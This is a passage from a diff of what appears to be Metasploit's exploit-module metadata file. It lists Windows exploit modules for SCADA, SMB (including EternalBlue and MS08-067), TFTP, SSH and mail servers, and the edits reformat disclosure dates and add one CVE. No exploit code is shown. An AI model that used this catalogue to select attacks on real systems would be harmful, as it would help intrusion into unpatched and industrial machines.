"disclosure_date": "2001-06-28 00:00:00 -0500", + "disclosure_date": "2001-06-28", "type": "exploit", "author": [ "MC " @@ -80394,7 +78385,7 @@ "name": "Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow", "full_name": "exploit/windows/oracle/tns_auth_sesskey", "rank": 500, - "disclosure_date": "2009-10-20 00:00:00 -0500", + "disclosure_date": "2009-10-20", "type": "exploit", "author": [ "jduck " @@ -80427,7 +78418,7 @@ "name": "Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow", "full_name": "exploit/windows/oracle/tns_service_name", "rank": 400, - "disclosure_date": "2002-05-27 00:00:00 -0500", + "disclosure_date": "2002-05-27", "type": "exploit", "author": [ "MC " @@ -80457,7 +78448,7 @@ "name": "Seattle Lab Mail 5.5 POP3 Buffer Overflow", "full_name": "exploit/windows/pop3/seattlelab_pass", "rank": 500, - "disclosure_date": "2003-05-07 00:00:00 -0500", + "disclosure_date": "2003-05-07", "type": "exploit", "author": [ "stinko " @@ -80485,7 +78476,7 @@ "name": "PostgreSQL for Microsoft Windows Payload Execution", "full_name": "exploit/windows/postgres/postgres_payload", "rank": 600, - "disclosure_date": "2009-04-10 00:00:00 -0500", + "disclosure_date": "2009-04-10", "type": "exploit", "author": [ "Bernardo Damele A. G. ", @@ -80513,7 +78504,7 @@ "name": "Blue Coat WinProxy Host Header Overflow", "full_name": "exploit/windows/proxy/bluecoat_winproxy_host", "rank": 500, - "disclosure_date": "2005-01-05 00:00:00 -0600", + "disclosure_date": "2005-01-05", "type": "exploit", "author": [ "MC " @@ -80542,7 +78533,7 @@ "name": "CCProxy Telnet Proxy Ping Overflow", "full_name": "exploit/windows/proxy/ccproxy_telnet_ping", "rank": 200, - "disclosure_date": "2004-11-11 00:00:00 -0600", + "disclosure_date": "2004-11-11", "type": "exploit", "author": [ "aushack " @@ -80576,7 +78567,7 @@ "name": "Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow", "full_name": "exploit/windows/proxy/proxypro_http_get", "rank": 500, - "disclosure_date": "2004-02-23 00:00:00 -0600", + "disclosure_date": "2004-02-23", "type": "exploit", "author": [ "MC " @@ -80604,7 +78595,7 @@ "name": "Qbik WinGate WWW Proxy Server URL Processing Overflow", "full_name": "exploit/windows/proxy/qbik_wingate_wwwproxy", "rank": 400, - "disclosure_date": "2006-06-07 00:00:00 -0500", + "disclosure_date": "2006-06-07", "type": "exploit", "author": [ "aushack " @@ -80632,7 +78623,7 @@ "name": "ABB MicroSCADA wserver.exe Remote Code Execution", "full_name": "exploit/windows/scada/abb_wserver_exec", "rank": 600, - "disclosure_date": "2013-04-05 00:00:00 -0500", + "disclosure_date": "2013-04-05", "type": "exploit", "author": [ "Brian Gorenc", @@ -80661,7 +78652,7 @@ "name": "Advantech WebAccess Dashboard Viewer uploadImageCommon Arbitrary File Upload", "full_name": "exploit/windows/scada/advantech_webaccess_dashboard_file_upload", "rank": 600, - "disclosure_date": "2016-02-05 00:00:00 -0600", + "disclosure_date": "2016-02-05", "type": "exploit", "author": [ "rgod", @@ -80691,7 +78682,7 @@ "name": "Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow", "full_name": "exploit/windows/scada/advantech_webaccess_webvrpcs_bof", "rank": 400, - "disclosure_date": "2017-11-02 00:00:00 -0500", + "disclosure_date": "2017-11-02", "type": "exploit", "author": [ "mr_me " @@ -80719,7 +78710,7 @@ "name": "CitectSCADA/CitectFacilities ODBC Buffer Overflow", "full_name": "exploit/windows/scada/citect_scada_odbc", "rank": 300, - "disclosure_date": "2008-06-11 00:00:00 -0500", + "disclosure_date": "2008-06-11", "type": "exploit", "author": [ "KF ", @@ -80765,7 +78756,7 @@ "name": "SCADA 3S CoDeSys Gateway Server Directory Traversal", "full_name": "exploit/windows/scada/codesys_gateway_server_traversal", "rank": 600, - "disclosure_date": "2013-02-02 00:00:00 -0600", + "disclosure_date": "2013-02-02", "type": "exploit", "author": [ "Enrique Sanchez " @@ -80793,7 +78784,7 @@ "name": "SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow", "full_name": "exploit/windows/scada/codesys_web_server", "rank": 300, - "disclosure_date": "2011-12-02 00:00:00 -0600", + "disclosure_date": "2011-12-02", "type": "exploit", "author": [ "Luigi Auriemma", @@ -80830,7 +78821,7 @@ "name": "DaqFactory HMI NETB Request Overflow", "full_name": "exploit/windows/scada/daq_factory_bof", "rank": 400, - "disclosure_date": "2011-09-13 00:00:00 -0500", + "disclosure_date": "2011-09-13", "type": "exploit", "author": [ "Luigi Auriemma", @@ -80860,7 +78851,7 @@ "name": "Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow", "full_name": "exploit/windows/scada/factorylink_csservice", "rank": 300, - "disclosure_date": "2011-03-25 00:00:00 -0500", + "disclosure_date": "2011-03-25", "type": "exploit", "author": [ "Luigi Auriemma ", @@ -80891,7 +78882,7 @@ "name": "Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow", "full_name": "exploit/windows/scada/factorylink_vrn_09", "rank": 200, - "disclosure_date": "2011-03-21 00:00:00 -0500", + "disclosure_date": "2011-03-21", "type": "exploit", "author": [ "Luigi Auriemma", @@ -80924,7 +78915,7 @@ "name": "GE Proficy CIMPLICITY gefebt.exe Remote Code Execution", "full_name": "exploit/windows/scada/ge_proficy_cimplicity_gefebt", "rank": 600, - "disclosure_date": "2014-01-23 00:00:00 -0600", + "disclosure_date": "2014-01-23", "type": "exploit", "author": [ "amisto0x07", @@ -80954,7 +78945,7 @@ "name": "Iconics GENESIS32 Integer Overflow Version 9.21.201.01", "full_name": "exploit/windows/scada/iconics_genbroker", "rank": 400, - "disclosure_date": "2011-03-21 00:00:00 -0500", + "disclosure_date": "2011-03-21", "type": "exploit", "author": [ "Luigi Auriemma", @@ -80984,7 +78975,7 @@ "name": "ICONICS WebHMI ActiveX Buffer Overflow", "full_name": "exploit/windows/scada/iconics_webhmi_setactivexguid", "rank": 400, - "disclosure_date": "2011-05-05 00:00:00 -0500", + "disclosure_date": "2011-05-05", "type": "exploit", "author": [ "Scoot Bell ", @@ -81018,7 +79009,7 @@ "name": "7-Technologies IGSS IGSSdataServer.exe Stack Buffer Overflow", "full_name": "exploit/windows/scada/igss9_igssdataserver_listall", "rank": 400, - "disclosure_date": "2011-03-24 00:00:00 -0500", + "disclosure_date": "2011-03-24", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81050,7 +79041,7 @@ "name": "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow", "full_name": "exploit/windows/scada/igss9_igssdataserver_rename", "rank": 300, - "disclosure_date": "2011-03-24 00:00:00 -0500", + "disclosure_date": "2011-03-24", "type": "exploit", "author": [ "Luigi Auriemma ", @@ -81082,7 +79073,7 @@ "name": "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities", "full_name": "exploit/windows/scada/igss9_misc", "rank": 600, - "disclosure_date": "2011-03-24 00:00:00 -0500", + "disclosure_date": "2011-03-24", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81118,7 +79109,7 @@ "name": "Interactive Graphical SCADA System Remote Command Injection", "full_name": "exploit/windows/scada/igss_exec_17", "rank": 600, - "disclosure_date": "2011-03-21 00:00:00 -0500", + "disclosure_date": "2011-03-21", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81147,7 +79138,7 @@ "name": "InduSoft Web Studio Arbitrary Upload Remote Code Execution", "full_name": "exploit/windows/scada/indusoft_webstudio_exec", "rank": 600, - "disclosure_date": "2011-11-04 00:00:00 -0500", + "disclosure_date": "2011-11-04", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81177,7 +79168,7 @@ "name": "MOXA Device Manager Tool 2.1 Buffer Overflow", "full_name": "exploit/windows/scada/moxa_mdmtool", "rank": 500, - "disclosure_date": "2010-10-20 00:00:00 -0500", + "disclosure_date": "2010-10-20", "type": "exploit", "author": [ "Ruben Santamarta", @@ -81207,7 +79198,7 @@ "name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow", "full_name": "exploit/windows/scada/procyon_core_server", "rank": 300, - "disclosure_date": "2011-09-08 00:00:00 -0500", + "disclosure_date": "2011-09-08", "type": "exploit", "author": [ "Knud Hojgaard ", @@ -81236,7 +79227,7 @@ "name": "DATAC RealWin SCADA Server Buffer Overflow", "full_name": "exploit/windows/scada/realwin", "rank": 500, - "disclosure_date": "2008-09-26 00:00:00 -0500", + "disclosure_date": "2008-09-26", "type": "exploit", "author": [ "MC " @@ -81264,7 +79255,7 @@ "name": "DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow", "full_name": "exploit/windows/scada/realwin_on_fc_binfile_a", "rank": 500, - "disclosure_date": "2011-03-21 00:00:00 -0500", + "disclosure_date": "2011-03-21", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81295,7 +79286,7 @@ "name": "RealWin SCADA Server DATAC Login Buffer Overflow", "full_name": "exploit/windows/scada/realwin_on_fcs_login", "rank": 500, - "disclosure_date": "2011-03-21 00:00:00 -0500", + "disclosure_date": "2011-03-21", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81327,7 +79318,7 @@ "name": "DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow", "full_name": "exploit/windows/scada/realwin_scpc_initialize", "rank": 500, - "disclosure_date": "2010-10-15 00:00:00 -0500", + "disclosure_date": "2010-10-15", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81357,7 +79348,7 @@ "name": "DATAC RealWin SCADA Server SCPC_INITIALIZE_RF Buffer Overflow", "full_name": "exploit/windows/scada/realwin_scpc_initialize_rf", "rank": 500, - "disclosure_date": "2010-10-15 00:00:00 -0500", + "disclosure_date": "2010-10-15", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81387,7 +79378,7 @@ "name": "DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow", "full_name": "exploit/windows/scada/realwin_scpc_txtevent", "rank": 500, - "disclosure_date": "2010-11-18 00:00:00 -0600", + "disclosure_date": "2010-11-18", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81415,7 +79406,7 @@ "name": "Measuresoft ScadaPro Remote Command Execution", "full_name": "exploit/windows/scada/scadapro_cmdexe", "rank": 600, - "disclosure_date": "2011-09-16 00:00:00 -0500", + "disclosure_date": "2011-09-16", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81448,7 +79439,7 @@ "name": "Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57", "full_name": "exploit/windows/scada/sunway_force_control_netdbsrv", "rank": 500, - "disclosure_date": "2011-09-22 00:00:00 -0500", + "disclosure_date": "2011-09-22", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81478,7 +79469,7 @@ "name": "Sielco Sistemi Winlog Buffer Overflow", "full_name": "exploit/windows/scada/winlog_runtime", "rank": 500, - "disclosure_date": "2011-01-13 00:00:00 -0600", + "disclosure_date": "2011-01-13", "type": "exploit", "author": [ "Luigi Auriemma", @@ -81508,7 +79499,7 @@ "name": "Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16", "full_name": "exploit/windows/scada/winlog_runtime_2", "rank": 300, - "disclosure_date": "2012-06-04 00:00:00 -0500", + "disclosure_date": "2012-06-04", "type": "exploit", "author": [ "Michael Messner " @@ -81540,7 +79531,7 @@ "name": "Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow", "full_name": "exploit/windows/scada/yokogawa_bkbcopyd_bof", "rank": 300, - "disclosure_date": "2014-03-10 00:00:00 -0500", + "disclosure_date": "2014-03-10", "type": "exploit", "author": [ "juan vazquez ", @@ -81569,7 +79560,7 @@ "name": "Yokogawa CS3000 BKESimmgr.exe Buffer Overflow", "full_name": "exploit/windows/scada/yokogawa_bkesimmgr_bof", "rank": 300, - "disclosure_date": "2014-03-10 00:00:00 -0500", + "disclosure_date": "2014-03-10", "type": "exploit", "author": [ "juan vazquez ", @@ -81598,7 +79589,7 @@ "name": "Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow", "full_name": "exploit/windows/scada/yokogawa_bkfsim_vhfd", "rank": 300, - "disclosure_date": "2014-05-23 00:00:00 -0500", + "disclosure_date": "2014-05-23", "type": "exploit", "author": [ "Redsadic ", @@ -81628,7 +79619,7 @@ "name": "Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow", "full_name": "exploit/windows/scada/yokogawa_bkhodeq_bof", "rank": 200, - "disclosure_date": "2014-03-10 00:00:00 -0500", + "disclosure_date": "2014-03-10", "type": "exploit", "author": [ "juan vazquez ", @@ -81657,7 +79648,7 @@ "name": "AIM Triton 1.0.4 CSeq Buffer Overflow", "full_name": "exploit/windows/sip/aim_triton_cseq", "rank": 500, - "disclosure_date": "2006-07-10 00:00:00 -0500", + "disclosure_date": "2006-07-10", "type": "exploit", "author": [ "MC " @@ -81685,7 +79676,7 @@ "name": "SIPfoundry sipXezPhone 0.35a CSeq Field Overflow", "full_name": "exploit/windows/sip/sipxezphone_cseq", "rank": 500, - "disclosure_date": "2006-07-10 00:00:00 -0500", + "disclosure_date": "2006-07-10", "type": "exploit", "author": [ "MC " @@ -81713,7 +79704,7 @@ "name": "SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow", "full_name": "exploit/windows/sip/sipxphone_cseq", "rank": 500, - "disclosure_date": "2006-07-10 00:00:00 -0500", + "disclosure_date": "2006-07-10", "type": "exploit", "author": [ "MC " @@ -81741,7 +79732,7 @@ "name": "Generic DLL Injection From Shared Resource", "full_name": "exploit/windows/smb/generic_smb_dll_injection", "rank": 0, - "disclosure_date": "2015-03-04 00:00:00 -0600", + "disclosure_date": "2015-03-04", "type": "exploit", "author": [ "Matthew Hall " @@ -81768,7 +79759,7 @@ "name": "Group Policy Script Execution From Shared Resource", "full_name": "exploit/windows/smb/group_policy_startup", "rank": 0, - "disclosure_date": "2015-01-26 00:00:00 -0600", + "disclosure_date": "2015-01-26", "type": "exploit", "author": [ "Sam Bertram ", @@ -81797,7 +79788,7 @@ "name": "IPass Control Pipe Remote Command Execution", "full_name": "exploit/windows/smb/ipass_pipe_exec", "rank": 600, - "disclosure_date": "2015-01-21 00:00:00 -0600", + "disclosure_date": "2015-01-21", "type": "exploit", "author": [ "Matthias Kaiser", @@ -81828,7 +79819,7 @@ "name": "MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow", "full_name": "exploit/windows/smb/ms03_049_netapi", "rank": 400, - "disclosure_date": "2003-11-11 00:00:00 -0600", + "disclosure_date": "2003-11-11", "type": "exploit", "author": [ "hdm " @@ -81857,7 +79848,7 @@ "name": "MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow", "full_name": "exploit/windows/smb/ms04_007_killbill", "rank": 100, - "disclosure_date": "2004-02-10 00:00:00 -0600", + "disclosure_date": "2004-02-10", "type": "exploit", "author": [ "Solar Eclipse " @@ -81886,7 +79877,7 @@ "name": "MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow", "full_name": "exploit/windows/smb/ms04_011_lsass", "rank": 400, - "disclosure_date": "2004-04-13 00:00:00 -0500", + "disclosure_date": "2004-04-13", "type": "exploit", "author": [ "hdm " @@ -81917,7 +79908,7 @@ "name": "MS04-031 Microsoft NetDDE Service Overflow", "full_name": "exploit/windows/smb/ms04_031_netdde", "rank": 400, - "disclosure_date": "2004-10-12 00:00:00 -0500", + "disclosure_date": "2004-10-12", "type": "exploit", "author": [ "pusscat " @@ -81946,7 +79937,7 @@ "name": "MS05-039 Microsoft Plug and Play Service Overflow", "full_name": "exploit/windows/smb/ms05_039_pnp", "rank": 400, - "disclosure_date": "2005-08-09 00:00:00 -0500", + "disclosure_date": "2005-08-09", "type": "exploit", "author": [ "hdm ", @@ -81985,7 +79976,7 @@ "name": "MS06-025 Microsoft RRAS Service RASMAN Registry Overflow", "full_name": "exploit/windows/smb/ms06_025_rasmans_reg", "rank": 400, - "disclosure_date": "2006-06-13 00:00:00 -0500", + "disclosure_date": "2006-06-13", "type": "exploit", "author": [ "pusscat ", @@ -82015,7 +80006,7 @@ "name": "MS06-025 Microsoft RRAS Service Overflow", "full_name": "exploit/windows/smb/ms06_025_rras", "rank": 200, - "disclosure_date": "2006-06-13 00:00:00 -0500", + "disclosure_date": "2006-06-13", "type": "exploit", "author": [ "Nicolas Pouvesle ", @@ -82047,7 +80038,7 @@ "name": "MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow", "full_name": "exploit/windows/smb/ms06_040_netapi", "rank": 400, - "disclosure_date": "2006-08-08 00:00:00 -0500", + "disclosure_date": "2006-08-08", "type": "exploit", "author": [ "hdm " @@ -82081,7 +80072,7 @@ "name": "MS06-066 Microsoft Services nwapi32.dll Module Exploit", "full_name": "exploit/windows/smb/ms06_066_nwapi", "rank": 400, - "disclosure_date": "2006-11-14 00:00:00 -0600", + "disclosure_date": "2006-11-14", "type": "exploit", "author": [ "pusscat " @@ -82110,7 +80101,7 @@ "name": "MS06-066 Microsoft Services nwwks.dll Module Exploit", "full_name": "exploit/windows/smb/ms06_066_nwwks", "rank": 400, - "disclosure_date": "2006-11-14 00:00:00 -0600", + "disclosure_date": "2006-11-14", "type": "exploit", "author": [ "pusscat " @@ -82139,7 +80130,7 @@ "name": "MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow", "full_name": "exploit/windows/smb/ms06_070_wkssvc", "rank": 0, - "disclosure_date": "2006-11-14 00:00:00 -0600", + "disclosure_date": "2006-11-14", "type": "exploit", "author": [ "jduck " @@ -82170,7 +80161,7 @@ "name": "MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)", "full_name": "exploit/windows/smb/ms07_029_msdns_zonename", "rank": 0, - "disclosure_date": "2007-04-12 00:00:00 -0500", + "disclosure_date": "2007-04-12", "type": "exploit", "author": [ "hdm ", @@ -82210,7 +80201,7 @@ "name": "MS08-067 Microsoft Server Service Relative Path Stack Corruption", "full_name": "exploit/windows/smb/ms08_067_netapi", "rank": 500, - "disclosure_date": "2008-10-28 00:00:00 -0500", + "disclosure_date": "2008-10-28", "type": "exploit", "author": [ "hdm ", @@ -82314,7 +80305,7 @@ "name": "MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference", "full_name": "exploit/windows/smb/ms09_050_smb2_negotiate_func_index", "rank": 400, - "disclosure_date": "2009-09-07 00:00:00 -0500", + "disclosure_date": "2009-09-07", "type": "exploit", "author": [ "Laurent Gaffie ", @@ -82347,7 +80338,7 @@ "name": "Microsoft Windows Shell LNK Code Execution", "full_name": "exploit/windows/smb/ms10_046_shortcut_icon_dllloader", "rank": 600, - "disclosure_date": "2010-07-16 00:00:00 -0500", + "disclosure_date": "2010-07-16", "type": "exploit", "author": [ "hdm ", @@ -82379,7 +80370,7 @@ "name": "MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability", "full_name": "exploit/windows/smb/ms10_061_spoolss", "rank": 600, - "disclosure_date": "2010-09-14 00:00:00 -0500", + "disclosure_date": "2010-09-14", "type": "exploit", "author": [ "jduck ", @@ -82408,7 +80399,7 @@ "name": "Microsoft Windows Shell LNK Code Execution", "full_name": "exploit/windows/smb/ms15_020_shortcut_icon_dllloader", "rank": 600, - "disclosure_date": "2015-03-10 00:00:00 -0500", + "disclosure_date": "2015-03-10", "type": "exploit", "author": [ "Michael Heerklotz", @@ -82438,7 +80429,7 @@ "name": "MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption", "full_name": "exploit/windows/smb/ms17_010_eternalblue", "rank": 200, - "disclosure_date": "2017-03-14 00:00:00 -0500", + "disclosure_date": "2017-03-14", "type": "exploit", "author": [ "Sean Dillon ", @@ -82476,7 +80467,7 @@ "name": "MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+", "full_name": "exploit/windows/smb/ms17_010_eternalblue_win8", "rank": 200, - "disclosure_date": "2017-03-14 00:00:00 +0000", + "disclosure_date": "2017-03-14", "type": "exploit", "author": [ "Equation Group", @@ -82514,7 +80505,7 @@ "name": "MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution", "full_name": "exploit/windows/smb/ms17_010_psexec", "rank": 300, - "disclosure_date": "2017-03-14 00:00:00 -0500", + "disclosure_date": "2017-03-14", "type": "exploit", "author": [ "sleepya", @@ -82556,7 +80547,7 @@ "name": "Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow", "full_name": "exploit/windows/smb/netidentity_xtierrpcpipe", "rank": 500, - "disclosure_date": "2009-04-06 00:00:00 -0500", + "disclosure_date": "2009-04-06", "type": "exploit", "author": [ "MC ", @@ -82586,7 +80577,7 @@ "name": "Microsoft Windows Authenticated User Code Execution", "full_name": "exploit/windows/smb/psexec", "rank": 0, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "hdm ", @@ -82621,7 +80612,7 @@ "name": "Microsoft Windows Authenticated Powershell Command Execution", "full_name": "exploit/windows/smb/psexec_psh", "rank": 0, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "Royce @R3dy__ Davis ", @@ -82652,7 +80643,7 @@ "name": "SMB Delivery", "full_name": "exploit/windows/smb/smb_delivery", "rank": 600, - "disclosure_date": "2016-07-26 00:00:00 -0500", + "disclosure_date": "2016-07-26", "type": "exploit", "author": [ "Andrew Smith", @@ -82680,7 +80671,7 @@ "name": "MS08-068 Microsoft Windows SMB Relay Code Execution", "full_name": "exploit/windows/smb/smb_relay", "rank": 600, - "disclosure_date": "2001-03-31 00:00:00 -0600", + "disclosure_date": "2001-03-31", "type": "exploit", "author": [ "hdm ", @@ -82712,7 +80703,7 @@ "name": "Timbuktu PlughNTCommand Named Pipe Buffer Overflow", "full_name": "exploit/windows/smb/timbuktu_plughntcommand_bof", "rank": 500, - "disclosure_date": "2009-06-25 00:00:00 -0500", + "disclosure_date": "2009-06-25", "type": "exploit", "author": [ "bannedit " @@ -82741,7 +80732,7 @@ "name": "TABS MailCarrier v2.51 SMTP EHLO Overflow", "full_name": "exploit/windows/smtp/mailcarrier_smtp_ehlo", "rank": 400, - "disclosure_date": "2004-10-26 00:00:00 -0500", + "disclosure_date": "2004-10-26", "type": "exploit", "author": [ "aushack " @@ -82771,7 +80762,7 @@ "name": "Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow", "full_name": "exploit/windows/smtp/mercury_cram_md5", "rank": 500, - "disclosure_date": "2007-08-18 00:00:00 -0500", + "disclosure_date": "2007-08-18", "type": "exploit", "author": [ "MC " @@ -82799,7 +80790,7 @@ "name": "MS03-046 Exchange 2000 XEXCH50 Heap Overflow", "full_name": "exploit/windows/smtp/ms03_046_exchange2000_xexch50", "rank": 400, - "disclosure_date": "2003-10-15 00:00:00 -0500", + "disclosure_date": "2003-10-15", "type": "exploit", "author": [ "hdm ", @@ -82830,7 +80821,7 @@ "name": "NJStar Communicator 3.00 MiniSMTP Buffer Overflow", "full_name": "exploit/windows/smtp/njstar_smtp_bof", "rank": 300, - "disclosure_date": "2011-10-31 00:00:00 -0500", + "disclosure_date": "2011-10-31", "type": "exploit", "author": [ "Dillon Beresford" @@ -82861,7 +80852,7 @@ "name": "SysGauge SMTP Validation Buffer Overflow", "full_name": "exploit/windows/smtp/sysgauge_client_bof", "rank": 300, - "disclosure_date": "2017-02-28 00:00:00 -0600", + "disclosure_date": "2017-02-28", "type": "exploit", "author": [ "Chris Higgins", @@ -82869,6 +80860,7 @@ ], "description": "This module will setup an SMTP server expecting a connection from SysGauge 1.5.18\n via its SMTP server validation. The module sends a malicious response along in the\n 220 service ready response and exploits the client, resulting in an unprivileged shell.", "references": [ + "CVE-2017-6416", "EDB-41479" ], "is_server": false, @@ -82888,7 +80880,7 @@ "name": "SoftiaCom WMailserver 1.0 Buffer Overflow", "full_name": "exploit/windows/smtp/wmailserver", "rank": 200, - "disclosure_date": "2005-07-11 00:00:00 -0500", + "disclosure_date": "2005-07-11", "type": "exploit", "author": [ "MC " @@ -82917,7 +80909,7 @@ "name": "YPOPS 0.6 Buffer Overflow", "full_name": "exploit/windows/smtp/ypops_overflow1", "rank": 200, - "disclosure_date": "2004-09-27 00:00:00 -0500", + "disclosure_date": "2004-09-27", "type": "exploit", "author": [ "acaro " @@ -82958,7 +80950,7 @@ "name": "FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow", "full_name": "exploit/windows/ssh/freeftpd_key_exchange", "rank": 200, - "disclosure_date": "2006-05-12 00:00:00 -0500", + "disclosure_date": "2006-05-12", "type": "exploit", "author": [ "riaf " @@ -82989,7 +80981,7 @@ "name": "Freesshd Authentication Bypass", "full_name": "exploit/windows/ssh/freesshd_authbypass", "rank": 600, - "disclosure_date": "2010-08-11 00:00:00 -0500", + "disclosure_date": "2010-08-11", "type": "exploit", "author": [ "Aris", @@ -83021,7 +81013,7 @@ "name": "FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow", "full_name": "exploit/windows/ssh/freesshd_key_exchange", "rank": 200, - "disclosure_date": "2006-05-12 00:00:00 -0500", + "disclosure_date": "2006-05-12", "type": "exploit", "author": [ "MC " @@ -83051,7 +81043,7 @@ "name": "PuTTY Buffer Overflow", "full_name": "exploit/windows/ssh/putty_msg_debug", "rank": 300, - "disclosure_date": "2002-12-16 00:00:00 -0600", + "disclosure_date": "2002-12-16", "type": "exploit", "author": [ "MC " @@ -83082,7 +81074,7 @@ "name": "SecureCRT SSH1 Buffer Overflow", "full_name": "exploit/windows/ssh/securecrt_ssh1", "rank": 200, - "disclosure_date": "2002-07-23 00:00:00 -0500", + "disclosure_date": "2002-07-23", "type": "exploit", "author": [ "MC " @@ -83110,7 +81102,7 @@ "name": "Sysax 5.53 SSH Username Buffer Overflow", "full_name": "exploit/windows/ssh/sysax_ssh_username", "rank": 300, - "disclosure_date": "2012-02-27 00:00:00 -0600", + "disclosure_date": "2012-02-27", "type": "exploit", "author": [ "Craig Freyman", @@ -83140,7 +81132,7 @@ "name": "MS04-011 Microsoft Private Communications Transport Overflow", "full_name": "exploit/windows/ssl/ms04_011_pct", "rank": 200, - "disclosure_date": "2004-04-13 00:00:00 -0500", + "disclosure_date": "2004-04-13", "type": "exploit", "author": [ "hdm " @@ -83175,7 +81167,7 @@ "name": "GAMSoft TelSrv 1.5 Username Buffer Overflow", "full_name": "exploit/windows/telnet/gamsoft_telsrv_username", "rank": 200, - "disclosure_date": "2000-07-17 00:00:00 -0500", + "disclosure_date": "2000-07-17", "type": "exploit", "author": [ "aushack " @@ -83206,7 +81198,7 @@ "name": "GoodTech Telnet Server Buffer Overflow", "full_name": "exploit/windows/telnet/goodtech_telnet", "rank": 200, - "disclosure_date": "2005-03-15 00:00:00 -0600", + "disclosure_date": "2005-03-15", "type": "exploit", "author": [ "MC " @@ -83235,7 +81227,7 @@ "name": "Allied Telesyn TFTP Server 1.9 Long Filename Overflow", "full_name": "exploit/windows/tftp/attftp_long_filename", "rank": 200, - "disclosure_date": "2006-11-27 00:00:00 -0600", + "disclosure_date": "2006-11-27", "type": "exploit", "author": [ "aushack " @@ -83275,7 +81267,7 @@ "name": "Distinct TFTP 3.10 Writable Directory Traversal Execution", "full_name": "exploit/windows/tftp/distinct_tftp_traversal", "rank": 600, - "disclosure_date": "2012-04-08 00:00:00 -0500", + "disclosure_date": "2012-04-08", "type": "exploit", "author": [ "modpr0be", @@ -83305,7 +81297,7 @@ "name": "D-Link TFTP 1.0 Long Filename Buffer Overflow", "full_name": "exploit/windows/tftp/dlink_long_filename", "rank": 400, - "disclosure_date": "2007-03-12 00:00:00 -0500", + "disclosure_date": "2007-03-12", "type": "exploit", "author": [ "LSO ", @@ -83335,7 +81327,7 @@ "name": "FutureSoft TFTP Server 2000 Transfer-Mode Overflow", "full_name": "exploit/windows/tftp/futuresoft_transfermode", "rank": 200, - "disclosure_date": "2005-05-31 00:00:00 -0500", + "disclosure_date": "2005-05-31", "type": "exploit", "author": [ "MC " @@ -83367,7 +81359,7 @@ "name": "NetDecision 4.2 TFTP Writable Directory Traversal Execution", "full_name": "exploit/windows/tftp/netdecision_tftp_traversal", "rank": 600, - "disclosure_date": "2009-05-16 00:00:00 -0500", + "disclosure_date": "2009-05-16", "type": "exploit", "author": [ "Rob Kraus", @@ -83396,7 +81388,7 @@ "name": "OpenTFTP SP 1.4 Error Packet Overflow", "full_name": "exploit/windows/tftp/opentftp_error_code", "rank": 200, - "disclosure_date": "2008-07-05 00:00:00 -0500", + "disclosure_date": "2008-07-05", "type": "exploit", "author": [ "tixxDZ", @@ -83427,7 +81419,7 @@ "name": "Quick FTP Pro 2.1 Transfer-Mode Overflow", "full_name": "exploit/windows/tftp/quick_tftp_pro_mode", "rank": 400, - "disclosure_date": "2008-03-27 00:00:00 -0500", + "disclosure_date": "2008-03-27", "type": "exploit", "author": [ "Saint Patrick" @@ -83457,7 +81449,7 @@ "name": "TFTPD32 Long Filename Buffer Overflow", "full_name": "exploit/windows/tftp/tftpd32_long_filename", "rank": 200, - "disclosure_date": "2002-11-19 00:00:00 -0600", + "disclosure_date": "2002-11-19", "type": "exploit", "author": [ "MC " @@ -83489,7 +81481,7 @@ "name": "TFTPDWIN v0.4.2 Long Filename Buffer Overflow", "full_name": "exploit/windows/tftp/tftpdwin_long_filename", "rank": 500, - "disclosure_date": "2006-09-21 00:00:00 -0500", + "disclosure_date": "2006-09-21", "type": "exploit", "author": [ "aushack " @@ -83518,7 +81510,7 @@ "name": "TFTP Server for Windows 1.4 ST WRQ Buffer Overflow", "full_name": "exploit/windows/tftp/tftpserver_wrq_bof", "rank": 300, - "disclosure_date": "2008-03-26 00:00:00 -0500", + 